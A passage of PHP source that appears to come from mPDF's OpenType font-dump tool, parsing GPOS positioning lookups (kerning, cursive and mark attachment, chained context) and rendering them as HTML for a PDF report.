($ffeats as $st => $scripts) { foreach ($scripts as $t => $o) { $FeatureIndex = []; $langsystable_offset = $o; $this->seek($langsystable_offset); $LookUpOrder = $this->read_ushort(); //==NULL $ReqFeatureIndex = $this->read_ushort(); if ($ReqFeatureIndex != 0xFFFF) { $FeatureIndex[] = $ReqFeatureIndex; } $FeatureCount = $this->read_ushort(); for ($i = 0; $i < $FeatureCount; $i++) { $FeatureIndex[] = $this->read_ushort(); // = index of feature } $ffeats[$st][$t] = $FeatureIndex; } } //print_r($ffeats); exit; // Feauture List => LookupListIndex es $this->seek($FeatureList_offset); $FeatureCount = $this->read_ushort(); $Feature = []; for ($i = 0; $i < $FeatureCount; $i++) { $Feature[$i] = ['tag' => $this->read_tag()]; $Feature[$i]['offset'] = $FeatureList_offset + $this->read_ushort(); } for ($i = 0; $i < $FeatureCount; $i++) { $this->seek($Feature[$i]['offset']); $this->read_ushort(); // null $Feature[$i]['LookupCount'] = $Lookupcount = $this->read_ushort(); $Feature[$i]['LookupListIndex'] = []; for ($c = 0; $c < $Lookupcount; $c++) { $Feature[$i]['LookupListIndex'][] = $this->read_ushort(); } } foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $o) { $FeatureIndex = $ffeats[$st][$t]; foreach ($FeatureIndex as $k => $fi) { $ffeats[$st][$t][$k] = $Feature[$fi]; } } } //print_r($ffeats); exit; //===================================================================================== $gpos = []; $GPOSScriptLang = []; foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $langsys) { $lg = []; foreach ($langsys as $ft) { $lg[$ft['LookupListIndex'][0]] = $ft; } // list of Lookups in order they need to be run i.e. order listed in Lookup table ksort($lg); foreach ($lg as $ft) { $gpos[$st][$t][$ft['tag']] = $ft['LookupListIndex']; } if (!isset($GPOSScriptLang[$st])) { $GPOSScriptLang[$st] = ''; } $GPOSScriptLang[$st] .= $t . ' '; } } if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h3>GPOS Scripts & Languages</h3>'); $html = ''; if (count($gpos)) { foreach ($gpos as $st => $g) { $html .= '<h5>' . $st . '</h5>'; foreach ($g as $l => $t) { $html .= '<div><a href="font_dump_OTL.php?script=' . $st . '&lang=' . $l . '">' . $l . '</a></b>: '; foreach ($t as $tag => $o) { $html .= $tag . ' '; } $html .= '</div>'; } } } else { $html .= '<div>No entries in GPOS table.</div>'; } $this->mpdf->WriteHTML($html); $this->mpdf->WriteHTML('</div>'); return 0; } //===================================================================================== // Get metadata and offsets for whole Lookup List table $this->seek($LookupList_offset); $LookupCount = $this->read_ushort(); $Lookup = []; $Offsets = []; $SubtableCount = []; for ($i = 0; $i < $LookupCount; $i++) { $Offsets[$i] = $LookupList_offset + $this->read_ushort(); } for ($i = 0; $i < $LookupCount; $i++) { $this->seek($Offsets[$i]); $Lookup[$i]['Type'] = $this->read_ushort(); $Lookup[$i]['Flag'] = $flag = $this->read_ushort(); $Lookup[$i]['SubtableCount'] = $SubtableCount[$i] = $this->read_ushort(); for ($c = 0; $c < $SubtableCount[$i]; $c++) { $Lookup[$i]['Subtables'][$c] = $Offsets[$i] + $this->read_ushort(); } // MarkFilteringSet = Index (base 0) into GDEF mark glyph sets structure if (($flag & 0x0010) == 0x0010) { $Lookup[$i]['MarkFilteringSet'] = $this->read_ushort(); } // else { $Lookup[$i]['MarkFilteringSet'] = ''; } // Lookup Type 9: Extension if ($Lookup[$i]['Type'] == 9) { // Overwrites new offset (32-bit) for each subtable, and a new lookup Type for ($c = 0; $c < $SubtableCount[$i]; $c++) { $this->seek($Lookup[$i]['Subtables'][$c]); $ExtensionPosFormat = $this->read_ushort(); $type = $this->read_ushort(); $Lookup[$i]['Subtables'][$c] = $Lookup[$i]['Subtables'][$c] + $this->read_ulong(); } $Lookup[$i]['Type'] = $type; } } //===================================================================================== $st = $this->mpdf->OTLscript; $t = $this->mpdf->OTLlang; $langsys = $gpos[$st][$t]; $lul = []; // array of LookupListIndexes $tags = []; // corresponding array of feature tags e.g. 'ccmp' if (count($langsys)) { foreach ($langsys as $tag => $ft) { foreach ($ft as $ll) { $lul[$ll] = $tag; } } } ksort($lul); // Order the Lookups in the order they are in the GUSB table, regardless of Feature order $this->_getGPOSarray($Lookup, $lul, $st); //print_r($lul); exit; return [$GPOSScriptLang, $gpos, $Lookup]; } // end if GPOS } ////////////////////////////////////////////////////////////////////////////////// //===================================================================================== //===================================================================================== //===================================================================================== ///////////////////////////////////////////////////////////////////////////////////////// // GPOS functions function _getGPOSarray(&$Lookup, $lul, $scripttag, $level = 1, $lcoverage = '', $exB = '', $exL = '') { // Process (3) LookupList for specific Script-LangSys $html = ''; if ($level == 1) { $html .= '<bookmark level="0" content="GPOS features">'; } foreach ($lul as $luli => $tag) { $html .= '<div class="level' . $level . '">'; $html .= '<h5 class="level' . $level . '">'; if ($level == 1) { $html .= '<bookmark level="1" content="' . $tag . ' [#' . $luli . ']">'; } $html .= 'Lookup #' . $luli . ' [tag: <span style="color:#000066;">' . $tag . '</span>]</h5>'; $ignore = $this->_getGSUBignoreString($Lookup[$luli]['Flag'], $Lookup[$luli]['MarkFilteringSet']); if ($ignore) { $html .= '<div class="ignore">Ignoring: ' . $ignore . '</div> '; } $Type = $Lookup[$luli]['Type']; $Flag = $Lookup[$luli]['Flag']; if (($Flag & 0x0001) == 1) { $dir = 'RTL'; } else { $dir = 'LTR'; } for ($c = 0; $c < $Lookup[$luli]['SubtableCount']; $c++) { $html .= '<div class="subtable">Subtable #' . $c; if ($level == 1) { $html .= '<bookmark level="2" content="Subtable #' . $c . '">'; } $html .= '</div>'; // Lets start $subtable_offset = $Lookup[$luli]['Subtables'][$c]; $this->seek($subtable_offset); $PosFormat = $this->read_ushort(); //////////////////////////////////////////////////////////////////////////////// // LookupType 1: Single adjustment Adjust position of a single glyph (e.g. SmallCaps/Sups/Subs) //////////////////////////////////////////////////////////////////////////////// if ($Lookup[$luli]['Type'] == 1) { $html .= '<div class="lookuptype">LookupType 1: Single adjustment [Format ' . $PosFormat . ']</div>'; //=========== // Format 1: //=========== if ($PosFormat == 1) { $Coverage = $subtable_offset + $this->read_ushort(); $ValueFormat = $this->read_ushort(); $Value = $this->_getValueRecord($ValueFormat); $this->seek($Coverage); $glyphs = $this->_getCoverage(); // Array of Hex Glyphs for ($g = 0; $g < count($glyphs); $g++) { if ($level == 2 && strpos($lcoverage, $glyphs[$g]) === false) { continue; } $html .= '<div class="substitution">'; $html .= '<span class="unicode">' . $this->formatUni($glyphs[$g]) . ' </span> '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="unchanged"> ' . $this->formatEntity($glyphs[$g]) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  » »  '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="changed" style="font-feature-settings:\'' . $tag . '\' 1;"> ' . $this->formatEntity($glyphs[$g]) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= ' <span class="unicode">'; if ($Value['XPlacement']) { $html .= ' Xpl: ' . $Value['XPlacement'] . ';'; } if ($Value['YPlacement']) { $html .= ' YPl: ' . $Value['YPlacement'] . ';'; } if ($Value['XAdvance']) { $html .= ' Xadv: ' . $Value['XAdvance']; } $html .= '</span>'; $html .= '</div>'; } } //=========== // Format 2: //=========== else { if ($PosFormat == 2) { $Coverage = $subtable_offset + $this->read_ushort(); $ValueFormat = $this->read_ushort(); $ValueCount = $this->read_ushort(); $Values = []; for ($v = 0; $v < $ValueCount; $v++) { $Values[] = $this->_getValueRecord($ValueFormat); } $this->seek($Coverage); $glyphs = $this->_getCoverage(); // Array of Hex Glyphs for ($g = 0; $g < count($glyphs); $g++) { if ($level == 2 && strpos($lcoverage, $glyphs[$g]) === false) { continue; } $Value = $Values[$g]; $html .= '<div class="substitution">'; $html .= '<span class="unicode">' . $this->formatUni($glyphs[$g]) . ' </span> '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="unchanged"> ' . $this->formatEntity($glyphs[$g]) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  » »  '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="changed" style="font-feature-settings:\'' . $tag . '\' 1;"> ' . $this->formatEntity($glyphs[$g]) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= ' <span class="unicode">'; if ($Value['XPlacement']) { $html .= ' Xpl: ' . $Value['XPlacement'] . ';'; } if ($Value['YPlacement']) { $html .= ' YPl: ' . $Value['YPlacement'] . ';'; } if ($Value['XAdvance']) { $html .= ' Xadv: ' . $Value['XAdvance']; } $html .= '</span>'; $html .= '</div>'; } } } } //////////////////////////////////////////////////////////////////////////////// // LookupType 2: Pair adjustment Adjust position of a pair of glyphs (Kerning) //////////////////////////////////////////////////////////////////////////////// else { if ($Lookup[$luli]['Type'] == 2) { $html .= '<div class="lookuptype">LookupType 2: Pair adjustment e.g. Kerning [Format ' . $PosFormat . ']</div>'; $Coverage = $subtable_offset + $this->read_ushort(); $ValueFormat1 = $this->read_ushort(); $ValueFormat2 = $this->read_ushort(); //=========== // Format 1: //=========== if ($PosFormat == 1) { $PairSetCount = $this->read_ushort(); $PairSetOffset = []; for ($p = 0; $p < $PairSetCount; $p++) { $PairSetOffset[] = $subtable_offset + $this->read_ushort(); } $this->seek($Coverage); $glyphs = $this->_getCoverage(); // Array of Hex Glyphs for ($p = 0; $p < $PairSetCount; $p++) { if ($level == 2 && strpos($lcoverage, $glyphs[$p]) === false) { continue; } $this->seek($PairSetOffset[$p]); // First Glyph = $glyphs[$p] // Takes too long e.g. Calibri font - just list kerning pairs with this: $html .= '<div class="glyphs">'; $html .= '<span class="unchanged"> ' . $this->formatEntity($glyphs[$p]) . ' </span>'; //PairSet table $PairValueCount = $this->read_ushort(); for ($pv = 0; $pv < $PairValueCount; $pv++) { //PairValueRecord $gid = $this->read_ushort(); $SecondGlyph = unicode_hex($this->glyphToChar[$gid][0]); $Value1 = $this->_getValueRecord($ValueFormat1); $Value2 = $this->_getValueRecord($ValueFormat2); // If RTL pairs, GPOS declares a XPlacement e.g. -180 for an XAdvance of -180 to take // account of direction. mPDF does not need the XPlacement adjustment if ($dir == 'RTL' && $Value1['XPlacement']) { $Value1['XPlacement'] -= $Value1['XAdvance']; } if ($ValueFormat2) { // If RTL pairs, GPOS declares a XPlacement e.g. -180 for an XAdvance of -180 to take // account of direction. mPDF does not need the XPlacement adjustment if ($dir == 'RTL' && $Value2['XPlacement'] && $Value2['XAdvance']) { $Value2['XPlacement'] -= $Value2['XAdvance']; } } $html .= ' ' . $this->formatEntity($SecondGlyph) . ' '; /* $html .= '<div class="substitution">'; $html .= '<span class="unicode">'.$this->formatUni($glyphs[$p]).' </span> '; if ($level==2 && $exB) { $html .= $exB; } $html .= '<span class="unchanged"> '.$this->formatEntity($glyphs[$p]).$this->formatEntity($SecondGlyph).'</span>'; if ($level==2 && $exL) { $html .= $exL; } $html .= '  » »  '; if ($level==2 && $exB) { $html .= $exB; } $html .= '<span class="changed" style="font-feature-settings:\''.$tag.'\' 1;"> '.$this->formatEntity($glyphs[$p]).$this->formatEntity($SecondGlyph).'</span>'; if ($level==2 && $exL) { $html .= $exL; } $html .= ' <span class="unicode">'; if ($Value1['XPlacement']) { $html .= ' Xpl[1]: '.$Value1['XPlacement'].';'; } if ($Value1['YPlacement']) { $html .= ' YPl[1]: '.$Value1['YPlacement'].';'; } if ($Value1['XAdvance']) { $html .= ' Xadv[1]: '.$Value1['XAdvance']; } if ($Value2['XPlacement']) { $html .= ' Xpl[2]: '.$Value2['XPlacement'].';'; } if ($Value2['YPlacement']) { $html .= ' YPl[2]: '.$Value2['YPlacement'].';'; } if ($Value2['XAdvance']) { $html .= ' Xadv[2]: '.$Value2['XAdvance']; } $html .= '</span>'; $html .= '</div>'; */ } $html .= '</div>'; } } //=========== // Format 2: //=========== else { if ($PosFormat == 2) { $ClassDef1 = $subtable_offset + $this->read_ushort(); $ClassDef2 = $subtable_offset + $this->read_ushort(); $Class1Count = $this->read_ushort(); $Class2Count = $this->read_ushort(); $sizeOfPair = (2 * $this->count_bits($ValueFormat1)) + (2 * $this->count_bits($ValueFormat2)); $sizeOfValueRecords = $Class1Count * $Class2Count * $sizeOfPair; // NB Class1Count includes Class 0 even though it is not defined by $ClassDef1 // i.e. Class1Count = 5; Class1 will contain array(indices 1-4); $Class1 = $this->_getClassDefinitionTable($ClassDef1); $Class2 = $this->_getClassDefinitionTable($ClassDef2); $this->seek($subtable_offset + 16); for ($i = 0; $i < $Class1Count; $i++) { for ($j = 0; $j < $Class2Count; $j++) { $Value1 = $this->_getValueRecord($ValueFormat1); $Value2 = $this->_getValueRecord($ValueFormat2); // If RTL pairs, GPOS declares a XPlacement e.g. -180 for an XAdvance of -180 // of direction. mPDF does not need the XPlacement adjustment if ($dir == 'RTL' && $Value1['XPlacement'] && $Value1['XAdvance']) { $Value1['XPlacement'] -= $Value1['XAdvance']; } if ($ValueFormat2) { if ($dir == 'RTL' && $Value2['XPlacement'] && $Value2['XAdvance']) { $Value2['XPlacement'] -= $Value2['XAdvance']; } } for ($c1 = 0; $c1 < count($Class1[$i]); $c1++) { $FirstGlyph = $Class1[$i][$c1]; if ($level == 2 && strpos($lcoverage, $FirstGlyph) === false) { continue; } for ($c2 = 0; $c2 < count($Class2[$j]); $c2++) { $SecondGlyph = $Class2[$j][$c2]; if (!$Value1['XPlacement'] && !$Value1['YPlacement'] && !$Value1['XAdvance'] && !$Value2['XPlacement'] && !$Value2['YPlacement'] && !$Value2['XAdvance']) { continue; } $html .= '<div class="substitution">'; $html .= '<span class="unicode">' . $this->formatUni($FirstGlyph) . ' </span> '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="unchanged"> ' . $this->formatEntity($FirstGlyph) . $this->formatEntity($SecondGlyph) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= '  » »  '; if ($level == 2 && $exB) { $html .= $exB; } $html .= '<span class="changed" style="font-feature-settings:\'' . $tag . '\' 1;"> ' . $this->formatEntity($FirstGlyph) . $this->formatEntity($SecondGlyph) . '</span>'; if ($level == 2 && $exL) { $html .= $exL; } $html .= ' <span class="unicode">'; if ($Value1['XPlacement']) { $html .= ' Xpl[1]: ' . $Value1['XPlacement'] . ';'; } if ($Value1['YPlacement']) { $html .= ' YPl[1]: ' . $Value1['YPlacement'] . ';'; } if ($Value1['XAdvance']) { $html .= ' Xadv[1]: ' . $Value1['XAdvance']; } if ($Value2['XPlacement']) { $html .= ' Xpl[2]: ' . $Value2['XPlacement'] . ';'; } if ($Value2['YPlacement']) { $html .= ' YPl[2]: ' . $Value2['YPlacement'] . ';'; } if ($Value2['XAdvance']) { $html .= ' Xadv[2]: ' . $Value2['XAdvance']; } $html .= '</span>'; $html .= '</div>'; } } } } } } } //////////////////////////////////////////////////////////////////////////////// // LookupType 3: Cursive attachment Attach cursive glyphs //////////////////////////////////////////////////////////////////////////////// else { if ($Lookup[$luli]['Type'] == 3) { $html .= '<div class="lookuptype">LookupType 3: Cursive attachment </div>'; $Coverage = $subtable_offset + $this->read_ushort(); $EntryExitCount = $this->read_ushort(); $EntryAnchors = []; $ExitAnchors = []; for ($i = 0; $i < $EntryExitCount; $i++) { $EntryAnchors[$i] = $this->read_ushort(); $ExitAnchors[$i] = $this->read_ushort(); } $this->seek($Coverage); $Glyphs = $this->_getCoverage(); for ($i = 0; $i < $EntryExitCount; $i++) { // Need default XAdvance for glyph $pdfWidth = $this->mpdf->_getCharWidth($this->mpdf->fonts[$this->fontkey]['cw'], hexdec($Glyphs[$i])); $EntryAnchor = $EntryAnchors[$i]; $ExitAnchor = $ExitAnchors[$i]; $html .= '<div class="glyphs">'; $html .= '<span class="unchanged">' . $this->formatEntity($Glyphs[$i]) . ' </span> '; $html .= '<span class="unicode"> ' . $this->formatUni($Glyphs[$i]) . ' => '; if ($EntryAnchor != 0) { $EntryAnchor += $subtable_offset; list($x, $y) = $this->_getAnchorTable($EntryAnchor); if ($dir == 'RTL') { if (round($pdfWidth) == round($x * 1000 / $this->mpdf->fonts[$this->fontkey]['desc']['unitsPerEm'])) { $x = 0; } else { $x = $x - ($pdfWidth * $this->mpdf->fonts[$this->fontkey]['desc']['unitsPerEm'] / 1000); } } $html .= " Entry X: " . $x . " Y: " . $y . "; "; } if ($ExitAnchor != 0) { $ExitAnchor += $subtable_offset; list($x, $y) = $this->_getAnchorTable($ExitAnchor); if ($dir == 'LTR') { if (round($pdfWidth) == round($x * 1000 / $this->mpdf->fonts[$this->fontkey]['desc']['unitsPerEm'])) { $x = 0; } else { $x = $x - ($pdfWidth * $this->mpdf->fonts[$this->fontkey]['desc']['unitsPerEm'] / 1000); } } $html .= " Exit X: " . $x . " Y: " . $y . "; "; } $html .= '</span></div>'; } } //////////////////////////////////////////////////////////////////////////////// // LookupType 4: MarkToBase attachment Attach a combining mark to a base glyph //////////////////////////////////////////////////////////////////////////////// else { if ($Lookup[$luli]['Type'] == 4) { $html .= '<div class="lookuptype">LookupType 4: MarkToBase attachment </div>'; $MarkCoverage = $subtable_offset + $this->read_ushort(); $BaseCoverage = $subtable_offset + $this->read_ushort(); $this->seek($MarkCoverage); $MarkGlyphs = $this->_getCoverage(); $this->seek($BaseCoverage); $BaseGlyphs = $this->_getCoverage(); $firstMark = ''; $html .= '<div class="glyphs">Marks: '; for ($i = 0; $i < count($MarkGlyphs); $i++) { if ($level == 2 && strpos($lcoverage, $MarkGlyphs[$i]) === false) { continue; } else { if (!$firstMark) { $firstMark = $MarkGlyphs[$i]; } } $html .= ' ' . $this->formatEntity($MarkGlyphs[$i]) . ' '; } $html .= '</div>'; if (!$firstMark) { return; } $html .= '<div class="glyphs">Bases: '; for ($j = 0; $j < count($BaseGlyphs); $j++) { $html .= ' ' . $this->formatEntity($BaseGlyphs[$j]) . ' '; } $html .= '</div>'; // Example $html .= '<div class="glyphs" style="font-feature-settings:\'' . $tag . '\' 1;">Example(s): '; for ($j = 0; $j < min(count($BaseGlyphs), 20); $j++) { $html .= ' ' . $this->formatEntity($BaseGlyphs[$j]) . $this->formatEntity($firstMark, true) . '   '; } $html .= '</div>'; } //////////////////////////////////////////////////////////////////////////////// // LookupType 5: MarkToLigature attachment Attach a combining mark to a ligature //////////////////////////////////////////////////////////////////////////////// else { if ($Lookup[$luli]['Type'] == 5) { $html .= '<div class="lookuptype">LookupType 5: MarkToLigature attachment </div>'; $MarkCoverage = $subtable_offset + $this->read_ushort(); //$MarkCoverage is already set in $lcoverage 00065|00073 etc $LigatureCoverage = $subtable_offset + $this->read_ushort(); $ClassCount = $this->read_ushort(); // Number of classes defined for marks = Number of mark glyphs in the MarkCoverage table $MarkArray = $subtable_offset + $this->read_ushort(); // Offset to MarkArray table $LigatureArray = $subtable_offset + $this->read_ushort(); // Offset to LigatureArray table $this->seek($MarkCoverage); $MarkGlyphs = $this->_getCoverage(); $this->seek($LigatureCoverage); $LigatureGlyphs = $this->_getCoverage(); $firstMark = ''; $html .= '<div class="glyphs">Marks: <span class="unchanged">'; $MarkRecord = []; for ($i = 0; $i < count($MarkGlyphs); $i++) { if ($level == 2 && strpos($lcoverage, $MarkGlyphs[$i]) === false) { continue; } else { if (!$firstMark) { $firstMark = $MarkGlyphs[$i]; } } // Get the relevant MarkRecord $MarkRecord[$i] = $this->_getMarkRecord($MarkArray, $i); //Mark Class is = $MarkRecord[$i]['Class'] $html .= ' ' . $this->formatEntity($MarkGlyphs[$i]) . ' '; } $html .= '</span></div>'; if (!$firstMark) { return; } $this->seek($LigatureArray); $LigatureCount = $this->read_ushort(); $LigatureAttach = []; $html .= '<div class="glyphs">Ligatures: <span class="unchanged">'; for ($j = 0; $j < count($LigatureGlyphs); $j++) { // Get the relevant LigatureRecord $LigatureAttach[$j] = $LigatureArray + $this->read_ushort(); $html .= ' ' . $this->formatEntity($LigatureGlyphs[$j]) . ' '; } $html .= '</span></div>'; /* for ($i=0;$i<count($MarkGlyphs);$i++) { $html .= '<div class="glyphs">'; $html .= '<span class="unchanged">'.$this->formatEntity($MarkGlyphs[$i]).'</span>'; for ($j=0;$j<count($LigatureGlyphs);$j++) { $this->seek($LigatureAttach[$j]); $ComponentCount = $this->read_ushort(); $html .= '<span class="unchanged">'.$this->formatEntity($LigatureGlyphs[$j]).'</span>'; $offsets = array(); for ($comp=0;$comp<$ComponentCount;$comp++) { // ComponentRecords for ($class=0;$class<$ClassCount;$class++) { $offset = $this->read_ushort(); if ($offset!= 0 && $class == $MarkRecord[$i]['Class']) { $html .= ' ['.$comp.'] '; } } } } $html .= '</span></div>'; } */ } //////////////////////////////////////////////////////////////////////////////// // LookupType 6: MarkToMark attachment Attach a combining mark to another mark //////////////////////////////////////////////////////////////////////////////// else { if ($Lookup[$luli]['Type'] == 6) { $html .= '<div class="lookuptype">LookupType 6: MarkToMark attachment </div>'; $Mark1Coverage = $subtable_offset + $this->read_ushort(); // Combining Mark //$Mark1Coverage is already set in $LuCoverage 0065|0073 etc $Mark2Coverage = $subtable_offset + $this->read_ushort(); // Base Mark $ClassCount = $this->read_ushort(); // Number of classes defined for marks = No. of Combining mark1 glyphs in the MarkCoverage table $this->seek($Mark1Coverage); $Mark1Glyphs = $this->_getCoverage(); $this->seek($Mark2Coverage); $Mark2Glyphs = $this->_getCoverage(); $firstMark = ''; $html .= '<div class="glyphs">Marks: <span class="unchanged">'; for ($i = 0; $i < count($Mark1Glyphs); $i++) { if ($level == 2 && strpos($lcoverage, $Mark1Glyphs[$i]) === false) { continue; } else { if (!$firstMark) { $firstMark = $Mark1Glyphs[$i]; } } $html .= ' ' . $this->formatEntity($Mark1Glyphs[$i]) . ' '; } $html .= '</span></div>'; if ($firstMark) { $html .= '<div class="glyphs">Bases: <span class="unchanged">'; for ($j = 0; $j < count($Mark2Glyphs); $j++) { $html .= ' ' . $this->formatEntity($Mark2Glyphs[$j]) . ' '; } $html .= '</span></div>'; // Example $html .= '<div class="glyphs" style="font-feature-settings:\'' . $tag . '\' 1;">Example(s): <span class="changed">'; for ($j = 0; $j < min(count($Mark2Glyphs), 20); $j++) { $html .= ' ' . $this->formatEntity($Mark2Glyphs[$j]) . $this->formatEntity($firstMark, true) . '   '; } $html .= '</span></div>'; } } //////////////////////////////////////////////////////////////////////////////// // LookupType 7: Context positioning Position one or more glyphs in context //////////////////////////////////////////////////////////////////////////////// else { if ($Lookup[$luli]['Type'] == 7) { $html .= '<div class="lookuptype">LookupType 7: Context positioning [Format ' . $PosFormat . ']</div>'; //=========== // Format 1: //=========== if ($PosFormat == 1) { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . " Format " . $PosFormat . " not YET TESTED."); } //=========== // Format 2: //=========== else { if ($PosFormat == 2) { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . " Format " . $PosFormat . " not YET TESTED."); } //=========== // Format 3: //=========== else { if ($PosFormat == 3) { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . " Format " . $PosFormat . " not YET TESTED."); } else { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . ", Format " . $PosFormat . " not supported."); } } } } //////////////////////////////////////////////////////////////////////////////// // LookupType 8: Chained Context positioning Position one or more glyphs in chained context //////////////////////////////////////////////////////////////////////////////// else { if ($Lookup[$luli]['Type'] == 8) { $html .= '<div class="lookuptype">LookupType 8: Chained Context positioning [Format ' . $PosFormat . ']</div>'; //=========== // Format 1: //=========== if ($PosFormat == 1) { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . " Format " . $PosFormat . " not TESTED YET."); } //=========== // Format 2: //=========== else { if ($PosFormat == 2) { $html .= '<div>GPOS Lookup Type 8: Format 2 not yet supported in OTL dump</div>'; continue; /* NB When developing - cf. GSUB 6.2 */ throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . " Format " . $PosFormat . " not TESTED YET."); } //=========== // Format 3: //=========== else { if ($PosFormat == 3) { $BacktrackGlyphCount = $this->read_ushort(); $CoverageBacktrackOffset = []; for ($b = 0; $b < $BacktrackGlyphCount; $b++) { $CoverageBacktrackOffset[] = $subtable_offset + $this->read_ushort(); // in glyph sequence order } $InputGlyphCount = $this->read_ushort(); $CoverageInputOffset = []; for ($b = 0; $b < $InputGlyphCount; $b++) { $CoverageInputOffset[] = $subtable_offset + $this->read_ushort(); // in glyph sequence order } $LookaheadGlyphCount = $this->read_ushort(); $CoverageLookaheadOffset = []; for ($b = 0; $b < $LookaheadGlyphCount; $b++) { $CoverageLookaheadOffset[] = $subtable_offset + $this->read_ushort(); // in glyph sequence order } $PosCount = $this->read_ushort(); $PosLookupRecord = []; for ($p = 0; $p < $PosCount; $p++) { // PosLookupRecord $PosLookupRecord[$p]['SequenceIndex'] = $this->read_ushort(); $PosLookupRecord[$p]['LookupListIndex'] = $this->read_ushort(); } $backtrackGlyphs = []; for ($b = 0; $b < $BacktrackGlyphCount; $b++) { $this->seek($CoverageBacktrackOffset[$b]); $backtrackGlyphs[$b] = implode('|', $this->_getCoverage()); } $inputGlyphs = []; for ($b = 0; $b < $InputGlyphCount; $b++) { $this->seek($CoverageInputOffset[$b]); $inputGlyphs[$b] = implode('|', $this->_getCoverage()); } $lookaheadGlyphs = []; for ($b = 0; $b < $LookaheadGlyphCount; $b++) { $this->seek($CoverageLookaheadOffset[$b]); $lookaheadGlyphs[$b] = implode('|', $this->_getCoverage()); } $exampleB = []; $exampleI = []; $exampleL = []; $html .= '<div class="context">CONTEXT: '; for ($ff = count($backtrackGlyphs) - 1; $ff >= 0; $ff--) { $html .= '<div>Backtrack #' . $ff . ': <span class="unicode">' . $this->formatUniStr($backtrackGlyphs[$ff]) . '</span></div>'; $exampleB[] = $this->formatEntityFirst($backtrackGlyphs[$ff]); } for ($ff = 0; $ff < count($inputGlyphs); $ff++) { $html .= '<div>Input #' . $ff . ': <span class="unchanged"> ' . $this->formatEntityStr($inputGlyphs[$ff]) . ' </span></div>'; $exampleI[] = $this->formatEntityFirst($inputGlyphs[$ff]); } for ($ff = 0; $ff < count($lookaheadGlyphs); $ff++) { $html .= '<div>Lookahead #' . $ff . ': <span class="unicode">' . $this->formatUniStr($lookaheadGlyphs[$ff]) . '</span></div>'; $exampleL[] = $this->formatEntityFirst($lookaheadGlyphs[$ff]); } $html .= '</div>'; for ($p = 0; $p < $PosCount; $p++) { $lup = $PosLookupRecord[$p]['LookupListIndex']; $seqIndex = $PosLookupRecord[$p]['SequenceIndex']; // GENERATE exampleB[n] exampleI[<seqIndex] .... exampleI[>seqIndex] exampleL[n] $exB = ''; $exL = ''; if (count($exampleB)) { $exB .= '<span class="backtrack">' . implode('‍', $exampleB) . '</span>'; } if ($seqIndex > 0) { $exB .= '<span class="inputother">'; for ($ip = 0; $ip < $seqIndex; $ip++) { $exB .= $exampleI[$ip] . '‍'; } $exB .= '</span>'; } if (count($inputGlyphs) > ($seqIndex + 1)) { $exL .= '<span class="inputother">'; for ($ip = $seqIndex + 1; $ip < count($inputGlyphs); $ip++) { $exL .= '‍' . $exampleI[$ip]; } $exL .= '</span>'; } if (count($exampleL)) { $exL .= '<span class="lookahead">' . implode('‍', $exampleL) . '</span>'; } $html .= '<div class="sequenceIndex">Substitution Position: ' . $seqIndex . '</div>'; $lul2 = [$lup => $tag]; // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // Pass $inputGlyphs[$seqIndex] e.g. 00636|00645|00656 // to level 2 and only apply if first Replace glyph is in this list $html .= $this->_getGPOSarray($Lookup, $lul2, $scripttag, 2, $inputGlyphs[$seqIndex], $exB, $exL); } } } } } } } } } } } } } $html .= '</div>'; } if ($level == 1) { $this->mpdf->WriteHTML($html); } else { return $html; } //print_r($Lookup); exit; } //===================================================================================== //===================================================================================== // GPOS FUNCTIONS //===================================================================================== function count_bits($n) { for ($c = 0; $n; $c++) { $n &= $n - 1; // clear the least significant bit set } return $c; } function _getValueRecord($ValueFormat) { // Common ValueRecord for GPOS // Only returns 3 possible: $vra['XPlacement'] $vra['YPlacement'] $vra['XAdvance'] $vra = []; // Horizontal adjustment for placement-in design units if (($ValueFormat & 0x0001) == 0x0001) { $vra['XPlacement'] = $this->read_short(); } // Vertical adjustment for placement-in design units if (($ValueFormat & 0x0002) == 0x0002) { $vra['YPlacement'] = $this->read_short(); } // Horizontal adjustment for advance-in design units (only used for horizontal writing) if (($ValueFormat & 0x0004) == 0x0004) { $vra['XAdvance'] = $this->read_short(); } // Vertical adjustment for advance-in design units (only used for vertical writing) if (($ValueFormat & 0x0008) == 0x0008) { $this->read_short(); } // Offset to Device table for horizontal placement-measured from beginning of PosTable (may be NULL) if (($ValueFormat & 0x0010) == 0x0010) { $this->read_ushort(); } // Offset to Device table for vertical placement-measured from beginning of PosTable (may be NULL) if (($ValueFormat & 0x0020) == 0x0020) { $this->read_ushort(); } // Offset to Device table for horizontal advance-measured from beginning of PosTable (may be NULL) if (($ValueFormat & 0x0040) == 0x0040) { $this->read_ushort(); } // Offset to Device table for vertical advance-measured from beginning of PosTable (may be NULL) if (($ValueFormat & 0x0080) == 0x0080) { $this->read_ushort(); } return $vra; } function _getAnchorTable($offset = 0) { if ($offset) { $this->seek($offset); } $AnchorFormat = $this->read_ushort(); $XCoordinate = $this->read_short(); $YCoordinate = $this->read_short(); // Format 2 specifies additional link to contour point; Format 3 additional Device table return [$XCoordinate, $YCoordinate]; } function _getMarkRecord($offset, $MarkPos) { $this->seek($offset); $MarkCount = $this->read_ushort(); $this->skip($MarkPos * 4); $Class = $this->read_ushort(); $MarkAnchor = $offset + $this->read_ushort(); // = Offset to anchor table list($x, $y) = $this->_getAnchorTable($MarkAnchor); $MarkRecord = ['Class' => $Class, 'AnchorX' => $x, 'AnchorY' => $y]; return 